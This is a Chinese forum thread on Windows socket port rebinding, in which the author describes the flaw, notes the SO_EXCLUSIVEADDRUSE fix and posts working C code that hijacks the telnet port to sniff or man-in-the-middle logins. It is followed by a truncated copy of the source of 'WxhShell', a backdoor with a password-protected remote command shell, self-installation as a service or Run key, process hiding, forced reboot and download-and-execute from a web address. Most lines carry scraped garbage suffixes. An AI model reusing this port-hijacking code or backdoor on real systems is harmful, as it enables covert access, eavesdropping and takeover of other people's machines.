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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qtdkK LT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !?_CIt$p  
FAL#p$y}  
  saddr.sin_family = AF_INET; k-a1^K3  
I{[}1W3]W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  5k@T{  
R(pQu! K4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P>u2""c  
)5n0P Zi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \9@}0}%`  
}cI-]|)|2  
  这意味着什么?意味着可以进行如下的攻击: vs$h&o>|  
qLN\>Z,3;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h^_^)P+;  
y9?*H?f,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Go1xyd:k  
R<_VWPlj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pY-!NoES  
~Er0$+q=Y;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [T4{K &  
BriL ^]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rz,,ku4qt  
8\9W:D@"x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kssRwe%>;  
u$[&'D6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5x|$q kI  
x0>N{ADXQ  
  #include X.>~DT%0Lm  
  #include n $N M  
  #include S"@6,  
  #include    5FuV=Yuc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A(uo%QE|  
  int main() B_iaty   
  { ={v(me0ZPb  
  WORD wVersionRequested; U\, N  
  DWORD ret; :R +BC2x  
  WSADATA wsaData; F WU >WHX  
  BOOL val; -(e=S^36  
  SOCKADDR_IN saddr; N%'(8%;  
  SOCKADDR_IN scaddr; [kpQ:'P3  
  int err; >r C*.  
  SOCKET s;  6W  
  SOCKET sc; so1  
  int caddsize; sN-u?EiF8  
  HANDLE mt; KPDJ$,:  
  DWORD tid;   V1Ojr~iM  
  wVersionRequested = MAKEWORD( 2, 2 ); w8~R=k  
  err = WSAStartup( wVersionRequested, &wsaData ); (=WbLNBS  
  if ( err != 0 ) { olr#3te  
  printf("error!WSAStartup failed!\n"); N.+A-[7,W  
  return -1; 5#x[rr{^*  
  } 9>0OpgvC(  
  saddr.sin_family = AF_INET; nu:l;+,VY  
   cUP1Uolvn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O"|d~VQ  
Yc?S<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7p\&D?  
  saddr.sin_port = htons(23); g"Hl 30o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3?<A]"X.  
  { }6pr.-J  
  printf("error!socket failed!\n"); qc.TYp  
  return -1; !5h-$;  
  } 'AWWdz  
  val = TRUE; i;/;zG^=_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }eA ) m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =O"l/\c^  
  { Drf Au  
  printf("error!setsockopt failed!\n"); #@w/S:KbJt  
  return -1; pYm#iz  
  } 7O%^4D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ooB9i No^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =`>ei  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6:8Nz   
>'=9sCi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6< -Cpc  
  { js;YSg{m  
  ret=GetLastError(); ,4XOe,WQ  
  printf("error!bind failed!\n"); ,Xn %0]  
  return -1; c;]^aaQ+>  
  } >ySO.S  
  listen(s,2); 7JuHa /Mv  
  while(1) kREFh4QO,  
  { \(=xc2  
  caddsize = sizeof(scaddr); v9,cL.0&  
  //接受连接请求 :6%ivS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IO7gq+  
  if(sc!=INVALID_SOCKET) A /c  
  { /E{tNd^S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "".a(ZGg  
  if(mt==NULL) pZ[|Q2(  
  { 8 l= EL7  
  printf("Thread Creat Failed!\n"); yn@wce  
  break; @`nG &U  
  } %dr*dA'  
  } lTN^c?  
  CloseHandle(mt); m+7%]$  
  } !B#lZjW#  
  closesocket(s); !2&)6SL/  
  WSACleanup(); Khv}q.)F  
  return 0; {*g{9`   
  }   F4"bMN  
  DWORD WINAPI ClientThread(LPVOID lpParam) d:vc)]M>f{  
  { xL<c/B`-:  
  SOCKET ss = (SOCKET)lpParam; ^?\|2H  
  SOCKET sc; 9An \uH)mL  
  unsigned char buf[4096]; ?li/mc.XG  
  SOCKADDR_IN saddr; Sfc,F8$&N  
  long num; H/Ql  
  DWORD val;  Y%y  
  DWORD ret; B<Cg_C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2'OY,Ooe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @qW$un:  
  saddr.sin_family = AF_INET; 7I]?:%8 h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x./"SQ=R+  
  saddr.sin_port = htons(23); l O*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /B 3\e3  
  { l_9ZzN  
  printf("error!socket failed!\n"); &Qj1uf92.  
  return -1; Ma(Q~G .  
  } ~@QAa (P.  
  val = 100; "|Yy "iB[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sredL#]BA  
  { |/8!P Km  
  ret = GetLastError(); MT)q?NcG  
  return -1; ^ r(]S%  
  } 8KkN "4'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (Rq6m`M2  
  { ?UIW&*h}  
  ret = GetLastError(); Z 5P4 H  
  return -1; =TzJgx  
  } {(asy}a9K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z-_Xt^N  
  { .!lLj1?p  
  printf("error!socket connect failed!\n"); a+O?bO  
  closesocket(sc); 73]t5=D:  
  closesocket(ss); o$U{.#  
  return -1; qe e_wx  
  } m J$[X  
  while(1) r| \""  
  { YSfJUB!I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o@[o6.B<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #4"eQ*.*"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sd.Km a  
  num = recv(ss,buf,4096,0); (~5]1S}F  
  if(num>0) /F|VYl^_  
  send(sc,buf,num,0); Slv:CM M  
  else if(num==0) `)KGajB  
  break; MF*4E9Ue.  
  num = recv(sc,buf,4096,0); L\bc R  
  if(num>0) kSCpr0c  
  send(ss,buf,num,0); &%)F5PT  
  else if(num==0) XN?my@_HpM  
  break; :P%?!'M  
  } mMWhUr  
  closesocket(ss); 7Lj:m.0O^  
  closesocket(sc); n;vZY  
  return 0 ; >o& %via}  
  } ?8< =.,r  
I 0x;rP  
]:T:cO0_n  
========================================================== y@2"[fo3~  
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下边附上一个代码,,WXhSHELL ''!j:49  
q@VIFmqY!  
========================================================== nox-)e  
;p <BiC$b  
#include "stdafx.h" iyUnxqP  
,+C?UW  
#include <stdio.h> w}(pc }^U  
#include <string.h> =,qY\@fq  
#include <windows.h> <pKOFN%m  
#include <winsock2.h> O*]}0*CT  
#include <winsvc.h> 0(Z:QqpU$  
#include <urlmon.h> e.XD5~Ax  
H.]<f vP  
#pragma comment (lib, "Ws2_32.lib") \LQZoD?W  
#pragma comment (lib, "urlmon.lib") %Q.M& U  
4k<U5J  
#define MAX_USER   100 // 最大客户端连接数 =JP Y{'VO  
#define BUF_SOCK   200 // sock buffer on5\rY<I:@  
#define KEY_BUFF   255 // 输入 buffer {9j0k`A  
P%vouC0W  
#define REBOOT     0   // 重启 Zn Rj}y  
#define SHUTDOWN   1   // 关机 KiE'O{Y  
/M3;~sx  
#define DEF_PORT   5000 // 监听端口 RX^8`}N  
Rp:I&f$Hk/  
#define REG_LEN     16   // 注册表键长度 )Wt&*WMFXl  
#define SVC_LEN     80   // NT服务名长度 @<4U &  
l>BM}hS  
// 从dll定义API OS>%pgv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #hu`X6s"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 83#<Yxk~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | "M1+(k7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ytqx 0  
Hl{ul'o  
// wxhshell配置信息 *&h]PhY  
struct WSCFG { ft0d5n!ui4  
  int ws_port;         // 监听端口 !mwMSkkq  
  char ws_passstr[REG_LEN]; // 口令 b`DPlQHj  
  int ws_autoins;       // 安装标记, 1=yes 0=no )u]=^  
  char ws_regname[REG_LEN]; // 注册表键名 ]+w 27!  
  char ws_svcname[REG_LEN]; // 服务名 _ogN   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %X%f0J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )7P>Hj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *g:Dg I 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gb"kl.j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y=<zR9f`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #KHj.Vg  
2pSp(@N3  
}; V}Q`dEk2r  
k{|> !(Ax  
// default Wxhshell configuration h:FN&E c}  
struct WSCFG wscfg={DEF_PORT, R]>0A3P  
    "xuhuanlingzhe", d:cOdm>,  
    1, GlJOb|WOX  
    "Wxhshell", Dd, &a  
    "Wxhshell", 0Am\02R.C,  
            "WxhShell Service", B_8JwMJu3  
    "Wrsky Windows CmdShell Service", y0) mBCX  
    "Please Input Your Password: ", [L|vBr  
  1, Klu0m~X@  
  "http://www.wrsky.com/wxhshell.exe", I?\P^f  
  "Wxhshell.exe" v9f%IE4fX  
    }; XGYsTquSe  
m?4HVv  
// 消息定义模块 9 *v14c%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @cx#'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; heb{i5el  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !V4(- 8  
char *msg_ws_ext="\n\rExit."; vYo~36  
char *msg_ws_end="\n\rQuit."; m|]"e@SF2  
char *msg_ws_boot="\n\rReboot..."; pMAFZfte!x  
char *msg_ws_poff="\n\rShutdown..."; >,)U4 6  
char *msg_ws_down="\n\rSave to "; W+s3rS2  
NNJQDkO-I  
char *msg_ws_err="\n\rErr!"; {D,- Whi  
char *msg_ws_ok="\n\rOK!"; C9FAX$$^(Y  
<5h}\5#<j  
char ExeFile[MAX_PATH]; &&"+\^3  
int nUser = 0; Y10  
HANDLE handles[MAX_USER]; 6vU%Y_n=y]  
int OsIsNt; #a]\3X  
\t&8J+%  
SERVICE_STATUS       serviceStatus;  91fZ r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?fc<3q"  
)W vOa] :  
// 函数声明 QMDkkNK  
int Install(void); s~5rP:  
int Uninstall(void); P.^*K:5@  
int DownloadFile(char *sURL, SOCKET wsh); %_>8.7  
int Boot(int flag); ^0(D2:E  
void HideProc(void); ChNT; G<6$  
int GetOsVer(void); \,!Qo*vj  
int Wxhshell(SOCKET wsl); 4T){z^"  
void TalkWithClient(void *cs); AmCymT3P*e  
int CmdShell(SOCKET sock); 2@N-#x '  
int StartFromService(void); Dj0D.}`~  
int StartWxhshell(LPSTR lpCmdLine); oXVx9dZ  
i"4;{C{s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]\ZmK0q<:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,,S 2>X*L  
D_`~$QB`,  
// 数据结构和表定义 H>-{.E1bG  
SERVICE_TABLE_ENTRY DispatchTable[] = RH$YM `cZ  
{ .8[uEQ_L  
{wscfg.ws_svcname, NTServiceMain}, I-Hg6WtB  
{NULL, NULL} ;1r|Bx<5  
}; }`76yH^c  
(d.M} G  
// 自我安装 >Wd_?NaI  
int Install(void) ^7*zi_Q  
{  W}Rzn  
  char svExeFile[MAX_PATH]; UMPW<> z  
  HKEY key; B_3N:K Y 9  
  strcpy(svExeFile,ExeFile); UzV78^:,iD  
'@^mesMG  
// 如果是win9x系统,修改注册表设为自启动 QUz4 Kt  
if(!OsIsNt) { cF"}}c1*M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <:StZ{o;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4#B 56f8  
  RegCloseKey(key); wkJ@#jD*[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g/w <T+v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iBKH\em/  
  RegCloseKey(key); LGYg@DR  
  return 0; %9L+ Q1o  
    } B,ao%3t  
  } 6_;n bqY&  
} [mG!-.ll  
else { 'PTQ S,E  
2frwU~y  
// 如果是NT以上系统,安装为系统服务 | `?J2WGe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @ykl:K%ke  
if (schSCManager!=0) @$~;vS  
{ ~svea>Fmr  
  SC_HANDLE schService = CreateService ?ihRt+eR~  
  ( S++jwP  
  schSCManager, d^5x@E_Td  
  wscfg.ws_svcname, mWMtz]M}  
  wscfg.ws_svcdisp, 1>bNw-kz7  
  SERVICE_ALL_ACCESS, +h1X-K:I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CX]L'  
  SERVICE_AUTO_START, gL7rX aj  
  SERVICE_ERROR_NORMAL, j:HIcCp  
  svExeFile, m:9|5W  
  NULL, ; 2aPhA  
  NULL, be(hY{y`  
  NULL, /%b nG(4  
  NULL, 8 9maN  
  NULL !&{"tL@.  
  ); E>u U6#v  
  if (schService!=0) VMu?mqEa  
  { "9NWsy}<c  
  CloseServiceHandle(schService); K}Q:L(SSr\  
  CloseServiceHandle(schSCManager); Fj`K$K?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #9HX"<5  
  strcat(svExeFile,wscfg.ws_svcname); M>{*PHze0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K d{o/R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xi)$t#K"  
  RegCloseKey(key); 7T(&DOGZ  
  return 0; Uu9I;q!|  
    } sy(.p^Z  
  } ]L k- -\  
  CloseServiceHandle(schSCManager); e?KzT5j:  
} qsYg%Z  
} DyUS^iz~o  
Q$Sp'  
return 1; p?4,YV|#  
} *y|zF6  
1c*;Lr.K  
// 自我卸载 u Vo"_c w  
int Uninstall(void) ~,x4cOdR#  
{ ?kF? ~\c  
  HKEY key; ]\/"-Y#4Q  
3sl6$NKo  
if(!OsIsNt) { 9&Z+K'$=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \0FwxsL  
  RegDeleteValue(key,wscfg.ws_regname); tF.N  
  RegCloseKey(key); mp*?GeV?M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O;0VKNn['  
  RegDeleteValue(key,wscfg.ws_regname); `4ti?^BNm  
  RegCloseKey(key); @qB>qD~WsD  
  return 0; $s"-r9@q  
  } PlwM3lrj  
} R%`fd *g  
} <00=bZzX  
else { f @Vd'k<  
2dDhO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WwxV} ?Cf+  
if (schSCManager!=0) #S[Y}-]T  
{ UQbk%K2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 02-% B~oP  
  if (schService!=0) n|B<rx?v  
  { |*l^<==  
  if(DeleteService(schService)!=0) { ~m[Gp;pL  
  CloseServiceHandle(schService); XR$i:kL,,  
  CloseServiceHandle(schSCManager); =o'g5Be<F  
  return 0; b)r;a5"<5  
  } h+j*vX/!  
  CloseServiceHandle(schService); 28 zZ3|Z3  
  } A f}o/g  
  CloseServiceHandle(schSCManager); |<uBJ-5  
} g@Rs.Zq  
} j' b0sve|?  
{e0(M*u  
return 1; z|zEsDh;  
} Q(4~r+  
HmHM#~5(`  
// 从指定url下载文件 F6"s&3D{  
int DownloadFile(char *sURL, SOCKET wsh) _v++NyZXx  
{ tqjjn5!  
  HRESULT hr; 01NP  
char seps[]= "/"; >4os%T  
char *token; ,V{Bpr  
char *file; -C* 6>$A  
char myURL[MAX_PATH]; uavyms^  
char myFILE[MAX_PATH]; {`(MK6D8 c  
S>jOVWB  
strcpy(myURL,sURL); E%a&6W  
  token=strtok(myURL,seps); #c~- 8=  
  while(token!=NULL) l8e)|MSh  
  { { _Y'%Ggh  
    file=token; \C{Zqo,  
  token=strtok(NULL,seps); /)<kG(Z  
  } .kJu17!  
&>G8DvfJ9  
GetCurrentDirectory(MAX_PATH,myFILE); J|VDZ# c7  
strcat(myFILE, "\\"); Y' 5X4Ks|  
strcat(myFILE, file); ja(ZJ[<`  
  send(wsh,myFILE,strlen(myFILE),0); n'%cO]nSx  
send(wsh,"...",3,0); dV-6l6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T&}KUX~Q/  
  if(hr==S_OK) b~(S;1NS'  
return 0; 5Fbb5`(  
else tvJl&{-OX  
return 1; )19#g1rn5  
LLbI}:  
} D}U gC\u  
1K'cT\aFm  
// 系统电源模块 QSwT1P'U  
int Boot(int flag) ;vn0b"Fi3  
{ $x#qv1  
  HANDLE hToken; EYi{~  
  TOKEN_PRIVILEGES tkp; </R@)_'  
A$L:,b(  
  if(OsIsNt) { bfkFk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x'SIHV4M@Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c5pK%I}O  
    tkp.PrivilegeCount = 1; 5'%O]~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `'gcF });  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &%eM  
if(flag==REBOOT) { HrT@Df  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u`Kc\B Sn  
  return 0; ft0tRv(s:  
} :^FH.6}x  
else { 5r d t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I*/:rb  
  return 0; !)05,6WQ  
} C:f^&4 3  
  } q ;_?e_  
  else { 'Zqt~5=5  
if(flag==REBOOT) { &vQ5+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5glEV`.je  
  return 0; g4;|uK;  
} f lt'~fe  
else { 4ywtE}mp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dP#7ev]'  
  return 0; gADqIPu]  
} fgHsg@33N  
} Cv p#=x0  
=F dFLrx~l  
return 1; 17w{hK4o8O  
} 1&Ma`M('  
SzFh  
// win9x进程隐藏模块 #MbY+[Y@v  
void HideProc(void) #jO2Zu2`}  
{ iTF%}(  
yA7O<p+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Rha7O  
  if ( hKernel != NULL ) = \K/ulZo  
  { |:u5R%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G=C2l# Ae!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )*7{%Ilq  
    FreeLibrary(hKernel); 4`7~~:W!M5  
  } #G\-ftA&  
`V.tqZF  
return; ?DnQU"_$  
} ~bis!(}p-  
D7c+/H@PF  
// 获取操作系统版本 *$/Go8t4u  
int GetOsVer(void) $jBi~QqOf  
{ {xP-p"?p  
  OSVERSIONINFO winfo; *Tmqs@L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gLx?0eBBA  
  GetVersionEx(&winfo); T>&dPVmG,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u!fZ>kS  
  return 1; 6.a>7-K}%  
  else ^{NN-  
  return 0; VRHS 4  
} x_l8&RIB*  
nppSrj?  
// 客户端句柄模块 Svs&?B\}{6  
int Wxhshell(SOCKET wsl) er>{#8 P  
{ r\y\]AmF  
  SOCKET wsh; ZY;g)`E1  
  struct sockaddr_in client; ")NQwT}  
  DWORD myID; KCqz]  
7JY9#+?p>  
  while(nUser<MAX_USER) Oe^9pH,1t  
{ -vt6n1A&b  
  int nSize=sizeof(client); ' |M} 3sL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :73T9/  
  if(wsh==INVALID_SOCKET) return 1; R80|q#h,]  
QqXaXx;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xx?0Ftuq  
if(handles[nUser]==0) <YWu/\{KT  
  closesocket(wsh); ol_&epG;ST  
else 3;!a'[W&p  
  nUser++; /N@NT/.M<  
  } SO~pe$c-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yt r*"-  
MJK PpQ(,  
  return 0; .&K?@T4l  
} XD[9wd5w8  
37V$Qb_  
// 关闭 socket c3\p@}  
void CloseIt(SOCKET wsh) $A(3-n5=  
{ #!rH}A>n+  
closesocket(wsh); |6`7kb;p  
nUser--; h5^We"}+  
ExitThread(0); b}N \h<\G  
} f_:>36{1^!  
>(sS4_O7N  
// 客户端请求句柄 N0ZD+  
void TalkWithClient(void *cs) :rvBx"  
{ /&!o]fU1C  
TNcMrbWA  
  SOCKET wsh=(SOCKET)cs; A\ tBmL_s  
  char pwd[SVC_LEN]; ZV07;`I  
  char cmd[KEY_BUFF]; y cWY.HD  
char chr[1]; u#->?  
int i,j; qz!^< M  
lDs C>L-F  
  while (nUser < MAX_USER) { qtP*O#1q  
CT|H1Ry2T  
if(wscfg.ws_passstr) { !Z;Nv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x+1-^XvK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LC0-O1  
  //ZeroMemory(pwd,KEY_BUFF); |J ^I8gx+  
      i=0; hi Ws:Yq  
  while(i<SVC_LEN) { Zj nWbnW  
Z,F1n/7  
  // 设置超时 r&XxF >  
  fd_set FdRead; :vC+}.{p  
  struct timeval TimeOut; *mN8Qd  
  FD_ZERO(&FdRead); ;47=x1j i  
  FD_SET(wsh,&FdRead); "&mwrjn"T  
  TimeOut.tv_sec=8; HZ\=NDz  
  TimeOut.tv_usec=0; 8JO(P0aT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n|PW^kOE/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9|9/8a6A  
YDEb MEMd/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); li~=85 J  
  pwd=chr[0]; [,|4%Y  
  if(chr[0]==0xd || chr[0]==0xa) { eBe5H =I@  
  pwd=0; TI7)yxa=`  
  break; W'Qy4bl7C  
  } S @)P#  
  i++; %@;xbKj  
    } mQtOx  
NV`7VYU  
  // 如果是非法用户,关闭 socket Btc[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "VAbUs  
} UD5f+,_;  
/{Z<!7u;U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2{L[D9c/6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QmsS,Zljo  
'gk^NAG2^E  
while(1) { ?gXdi<2Qn  
m9Dg%\B  
  ZeroMemory(cmd,KEY_BUFF); "+BuFhSLf  
PC)V".W 1  
      // 自动支持客户端 telnet标准   BagV\\#v4  
  j=0; mpl^LF[  
  while(j<KEY_BUFF) { `P;uPQDzZ3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lq27^K  
  cmd[j]=chr[0]; W1O m$S1  
  if(chr[0]==0xa || chr[0]==0xd) { @h7 i;Ok  
  cmd[j]=0; j,N,WtE  
  break; 4Y@q.QP  
  } r / L  
  j++; l{_1`rC'  
    } &|Vzo@D(!  
}z2K"eGt  
  // 下载文件 E^m2:J]G  
  if(strstr(cmd,"http://")) { (DTkK5/%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IPnx5#eB  
  if(DownloadFile(cmd,wsh)) Ly6) ,[q~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M,P:<-J  
  else hQDl&A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"QWap}  
  } f<@`{oP@  
  else { $`/F5R!  
jt&rOPL7  
    switch(cmd[0]) { 4eS(dPI0  
  L4Si0 K  
  // 帮助 |C\XU5}  
  case '?': { QWK\6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $60]RCu  
    break; L$f:D2Ei  
  } rE.z.r"O  
  // 安装 2iWxx:e  
  case 'i': { g0RfvR  
    if(Install()) Il<ezD{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \J{ %xW>  
    else yrR,7v J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +RD{<~i  
    break; /909ED+)>9  
    } 74%Uojl"  
  // 卸载 0 oHnam  
  case 'r': { 7p,!<X}%  
    if(Uninstall()) m?<5-"hz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$_#{?dPt  
    else P.]O8r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IZ+ZIR@}ci  
    break; {>>Gc2UT  
    } x% Eu.jj  
  // 显示 wxhshell 所在路径  <:`x> _  
  case 'p': { 2aW"t.[j  
    char svExeFile[MAX_PATH]; M'ZA(LVp  
    strcpy(svExeFile,"\n\r"); %ZZW p%uf  
      strcat(svExeFile,ExeFile); k+Ay^i}s.  
        send(wsh,svExeFile,strlen(svExeFile),0); +?bOGUik  
    break; #pp6 ycy  
    } =tfS@o/n  
  // 重启 `T$CUlt6  
  case 'b': { 4031~A8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3 e<sNU?  
    if(Boot(REBOOT)) Vu1X@@z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@<EVw  
    else { jX{t/8v/s4  
    closesocket(wsh);  .tRWL!  
    ExitThread(0); J"]P" `/  
    } {K+]^M  
    break; $5#+;A'Q+  
    } :jljM(\  
  // 关机 cvQ MZ,p  
  case 'd': { >t}0o$\?E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ncOtDE  
